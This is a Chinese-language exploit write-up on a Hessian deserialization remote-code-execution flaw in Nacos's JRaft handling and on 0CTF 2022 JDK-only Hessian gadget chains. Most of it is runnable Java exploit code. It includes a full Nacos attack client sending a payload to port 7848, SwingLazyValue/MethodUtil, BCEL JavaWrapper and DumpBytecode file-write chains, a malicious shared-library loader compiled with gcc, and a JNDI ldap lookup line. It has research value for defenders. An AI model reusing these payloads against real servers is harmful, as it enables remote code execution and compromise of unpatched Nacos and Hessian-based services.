Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。
https://github.com/alibaba/nacos/pull/10542/files
可以看出来是SerializerFactory的锅
定位 src/main/java/com/alibaba/nacos/consistency/serialize/HessianSerializer.java
使用类为com/alibaba/nacos/consistency/SerializeFactory.java
其调用HessianSerializer的deserialize方法
JRaft 可参考JRaft 用户指南 · SOFAStack
复制一段大佬的Payload
package com.alibaba.nacos;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.RouteTable;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.google.protobuf.ByteString;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = build(new String[]{"open", "-a", "Calculator.app"});
send("localhost:7848", bytes);
}
public static void send(String addr, byte[] payload) throws Exception {
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
}
private static byte[] build(String[] cmd) throws Exception {
//windows
// String[] command = {"cmd", "/c", cmd};
String[] command = cmd;
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String[].class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("key", swingLazyValue);
u2.put("key", swingLazyValue);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
HashMap hashMap1 = new HashMap();
size.set(hashMap1, 2);
table.set(hashMap1, arr);
HashMap map = new HashMap();
map.put(hashMap, hashMap);
map.put(hashMap1, hashMap1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(map);
output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
SerializerFactory.createDefault().getClassFactory().allow("*");
hessian2Input.readObject();
return baos.toByteArray();
}
}
0ctf中的Hessian链
https://blog.z3ratu1.top/0CTF2022%E5%A4%8D%E7%8E%B0.html
http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk
https://paper.seebug.org/1814/
https://paper.seebug.org/1131/
Xstream 历史原生链 https://x-stream.github.io/CVE-2021-21346.html
先看https://paper.seebug.org/1814/
发现com.alibaba.com.caucho.hessian.io.Hessian2Input#except()
中可以利用readObject创建对象并使用对象的toString方法
protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}
调试发现在Hessian2Input#readString()
中switch语句走到default时对.expect()
进行调用,尝试寻找利用点
public int readString(char[] buffer, int offset, int length) throws IOException {
int readLength = 0;
if (this._chunkLength == -2) {
this._chunkLength = 0;
return -1;
} else {
int tag;
if (this._chunkLength == 0) {
tag = this.read();
switch(tag) {
...
case 67 :
...
default:
throw this.expect("string", tag);
}
}
...
这里tag的case取67时,既可以在readString中执行default,又可以在readObject()中触发readObject(); -> readObjectDefinition(); -> readString();
的调用链
public Object readObject(Class cl) throws IOException {
if (cl != null && cl != Object.class) {
int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
int ref;
Deserializer reader;
Object v;
Object v;
Deserializer reader;
String type;
int size;
Deserializer reader;
Hessian2Input.ObjectDefinition def;
switch(tag) {
case 67:
this.readObjectDefinition(cl);
return this.readObject(cl);
...}
可以用这种方法执行反序列化(但上面打nacos的例子代码中并没有使tag=67 还不知道为啥)
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67);
output.writeObject(evilClass);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
简单test后,可行本地弹出计算器
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
class Evil implements Serializable {
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("success");
return super.toString();
}
}
public class main {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
Evil evilClass = new Evil();
baos.write(67);
output.writeObject(evilClass);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
}
如下Jdk原生利用链,可以以toString为入口调用
/*
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
*/
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
研究一下
class MultiUIDefaults extends UIDefaults
{
private UIDefaults[] tables;
public MultiUIDefaults(UIDefaults[] defaults) {
super();
tables = defaults;
}
public MultiUIDefaults() {
super();
tables = new UIDefaults[0];
}
@Override
public synchronized String toString() {
StringBuffer buf = new StringBuffer();
buf.append("{");
Enumeration keys = keys();
while (keys.hasMoreElements()) {
Object key = keys.nextElement();
buf.append(key + "=" + get(key) + ", ");//go to super.get()
}
int length = buf.length();
if (length > 1) {
buf.delete(length-2, length);
}
buf.append("}");
return buf.toString();
}
}
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}
private Object getFromHashtable(final Object key) {
/* Quickly handle the common case, without grabbing
* a lock.
*/
Object value = super.get(key);
if ((value != PENDING) &&
!(value instanceof ActiveValue) &&
!(value instanceof LazyValue)) {
return value;
}
/* If the LazyValue for key is being constructed by another
* thread then wait and then return the new value, otherwise drop
* the lock and construct the ActiveValue or the LazyValue.
* We use the special value PENDING to mark LazyValues that
* are being constructed.
*/
synchronized(this) {
value = super.get(key);
if (value == PENDING) {
do {
try {
this.wait();
}
catch (InterruptedException e) {
}
value = super.get(key);
}
while(value == PENDING);
return value;
}
else if (value instanceof LazyValue) {
super.put(key, PENDING);
}
else if (!(value instanceof ActiveValue)) {
return value;
}
}
/* At this point we know that the value of key was
* a LazyValue or an ActiveValue.
*/
if (value instanceof LazyValue) {
try {
/* If an exception is thrown we'll just put the LazyValue
* back in the table.
*/
value = ((LazyValue)value).createValue(this);
}
finally {
synchronized(this) {
if (value == null) {
super.remove(key);
}
else {
super.put(key, value);
}
this.notifyAll();
}
}
}
else {
value = ((ActiveValue)value).createValue(this);
}
return value;
}
最后调用createValue
可以调用任意静态方法或者一个构造函数,代码如下
public SwingLazyValue(String var1, String var2, Object[] var3) {
this.className = var1;
this.methodName = var2;
if (var3 != null) {
this.args = (Object[])var3.clone();
}
//构造方法
}
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}
SwingLazyValue的var3写的是该Method需要的参数
但是经过测试,发现这里其实没法使用:
javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable、newInstance就没有权限
所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
需要找个类替代MultiUIDefaults
,由于UIDefaults
是继承Hashtable的 ,所以需要从toString()到HashTable.get()
注意:Hessian可以反序列化未实现 Serializable 接口的类
(利用Hessian2Output.getSerializerFactory().setAllowNonSerializable(true);)
找到sun.security.pkcs.PKCS9Attributes
这个this.attributes
刚好是个HashTable
接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper
的_main
方法
看到实例化一个JavaWrapper,进入wrapper.runMain
使用反射调用了类的_main
方法,只需要给类里面加一个_main
方法即可实现命令执行
发现是一个bcel classloader
调用栈
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
Payload
//test.java
public class test {
public static void _main(String[] argv) throws Exception {
Runtime.getRuntime().exec("calc");
}
}
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
需要注意的是恶意类test需要用public方法才能正确执行payload,static不行
这里其实调用到SwingLazyValue后用JNDI注入也行(类似最初XStream的洞)但JNDI有java版本限制
高版本pass rmi方法:
在RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
这里尝试一种新的方法
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
try {
return bounce.invoke((Object)null, var0, var1, var2);
} catch (InvocationTargetException var5) {
Throwable var4 = var5.getCause();
if (var4 instanceof InvocationTargetException) {
throw (InvocationTargetException)var4;
} else if (var4 instanceof IllegalAccessException) {
throw (IllegalAccessException)var4;
} else if (var4 instanceof RuntimeException) {
throw (RuntimeException)var4;
} else if (var4 instanceof Error) {
throw (Error)var4;
} else {
throw new Error("Unexpected invocation error", var4);
}
} catch (IllegalAccessException var6) {
throw new Error("Unexpected invocation error", var6);
}
}
模仿一下上面的Payload
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.plugin.com.JavaClass;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MTPList {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
MimeTypeParameterList s = new MimeTypeParameterList();
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
//uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1/ORxBVgXbeP/Plain/Exec/eyJjbWQiOiJjYWxjIn0="}));
uiDefaults.put("aaa",new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}}));
setFieldValue(s,"parameters",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
这里比较有意思的是MethodUtil这里命令执行的构造,实际上是对MethodUtil.invoke进行了两次调用的,道理也很简单,因为SwingLazyValue.createValue
方法中是通过传入参数的类型去获取方法的,如果传入的参数不是MethodUtil.class, Object.class, Object[].class
就没法找到invoke方法,就无法实现调用了
如果直接调用Method.invoke执行Runtime,此时会 catch (Exception var5) var5 = java.lang.NoSuchMethodException: sun.reflect.misc.MethodUtil.invoke(java.lang.reflect.Method, java.lang.Runtime, [Ljava.lang.Object;)找不到第二个参数类型为Runtime的invoke方法
所以先传入了MethodUtil.invoke, new Object(), new Object[]{}
,再在后续的object[]中传入Runtime执行命令。
这里有一个需要注意的点,反射调用中,这里的第二个参数应该是方法对应的类实例,第一次应该也是传入MethodUtil
,但由于这里调用的是类的静态方法,所以可以传任意的对象进去,这里就是传了一个object
这里m0onsec师傅找到一个写文件的链:jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode
可以看到参数都是可控的,写后缀为.class文件,并且目录不存在的话会创建目录
但是因为ClassLoader的原因 ,在SwingLazyValue这里只能加载 rt.jar 里面的类,而DumpBytecode类在 nashorn.jar 里面
最后找到ProxyLazyValue.createValue
这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null
我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
首先创建一个动态链接库
#include
#include
void __attribute__ ((__constructor__)) calc (){
system("calc");
}Copy
然后执行gcc -c calc.c -o calc && gcc calc --share -o calc.so
生成恶意so文件
写文件payload:
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode {
public static void main(String[] args) throws Exception {
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
String classname="calc";
//写文件
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
//System.load加载so文件
// UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
// "/tmp/calc.class"
// });
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Unsafe getUnsafe() throws Exception{
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
}Copy
最后加载即可,注意linux和windows生成的so文件存在区别
调用栈:
dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
0ops师傅的解法是直接走的Hashtable.equals这个入口,不从tostring()走
payload:
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.caucho.hessian.io.*;
import java.io.*;
import java.util.HashMap;
import javax.swing.UIDefaults;
import sun.swing.SwingLazyValue;
public class Hessian_onlyJdk {
public static void main(final String[] args) throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("_", slz);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("_", slz);
HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashMap);
oo.flush();
ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}Copy
调用栈:
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:814, Hashtable (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单
黑名单在 com.caucho.hessian.io.ClassFactory#isAllow
所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup也g了,不过可以
用com.sun.org.apache.bcel.internal.util.JavaWrapper,直接加载bcel字节码rce,不过bcel
classloader在8u251没了,所以仍然想找一个通用点的方式。( author: Y4er.com )